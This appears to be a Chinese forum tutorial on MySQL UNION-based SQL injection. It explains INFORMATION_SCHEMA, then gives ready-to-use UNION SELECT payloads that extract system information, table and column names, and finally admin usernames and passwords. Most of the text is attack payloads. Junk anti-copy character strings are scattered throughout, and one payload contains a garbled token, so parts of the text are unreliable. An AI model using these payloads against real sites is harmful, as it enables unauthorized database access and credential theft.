mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

" L' ]: Y" D  `- }学习盲注前先了解下 IFORMATION_SCHEMA 库
6 ~  T. ?' N5 E- d( v
. c6 J# Z1 D7 E6 I/ r7 Z1 Y3 aMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
# q: V. j; l. W* |0 `0 M存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
. r4 f' Z; b6 U1 W. j6 u' I  Z|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 s. f+ f1 R* B* R; n  r|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
: ]* k9 {* p4 S& @|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
3 L9 C, H! b/ k* X4 H
|---字段：COLUMN_NAME ->该字段的名称
) n( A' u$ Y# M. g' D
  y( [" e; V, h4 H+ g" w; O
3 v0 l  U$ x" L& e" K7 G% h; o
###########################################################################
7 X9 J& O& @- g$ e" X# Q
0x001 获取系统信息:

9 a" z) O1 \, v& nunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
% _0 @4 u7 u4 s& e7 K" k+ V* C
/*

& w' X7 K( ?' P1 ~@@global.version_compile_os 获取系统版本
* O& ]  s# j' ^# g# C# b0 o" K
1 ^$ z; F2 x( {2 U, l@@datadir 数据库路径
) R! f$ }( L7 B( y9 [& X# f+ gdatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/
8 _5 H7 i7 I" q2 W8 [

+ w9 t$ i+ E+ W. y9 `4 _0 y6 Z
+ {! Y- F* r4 L- j9 g######################################################################
( r4 _; {0 k; C! T$ ?) e0 g
0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
0 r! |- K. j& Q. L7 L' g3 F' e* D# t


/*

0x67617264656e 为当前数据库名
- S1 c2 L( G7 ?; ?
; P! d6 w9 p9 s1 U! wgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

* N$ Q( J9 d8 M, R; A*/
; z* C, Y* X& A# i8 d* ^/ L
######################################################################


8 c5 M+ [/ E* M: Y. b
0x003 获取字段
2 U2 r$ k: V, k4 X- y, z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
4 H8 `( Y9 ]2 S- |
9 w' `* a1 D( Q8 I$ o/ |3 i/*

3 k3 m1 [. k( z) V, qgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
, f& K0 D4 J  d4 [+ H6 c& u! L8 T
0x61646d696e ->选择一个表

- u& I. t: G8 W0x67617264656e ->数据库名
2 }1 I7 `* g7 d( F# Y, F6 }
*/

#####################################################################
. V2 L" a! K' R) @+ M5 M


1 [1 u5 L' B- d9 m( z0x004 获取数据
6 o7 Z/ R6 ^3 W
5 d, k5 v( E8 m2 M3 ?: v: Hunion select 1,2,3
8 v5 o' F) Y6 i( I4 g,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
0 k* `0 y8 o; Y$ g

4 Y0 [# ]& J1 _3 ?6 b7 R
/ n6 V! O4 d" P- [1 K" k% p/*

9 L) p' K1 S& K: j5 A0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

*/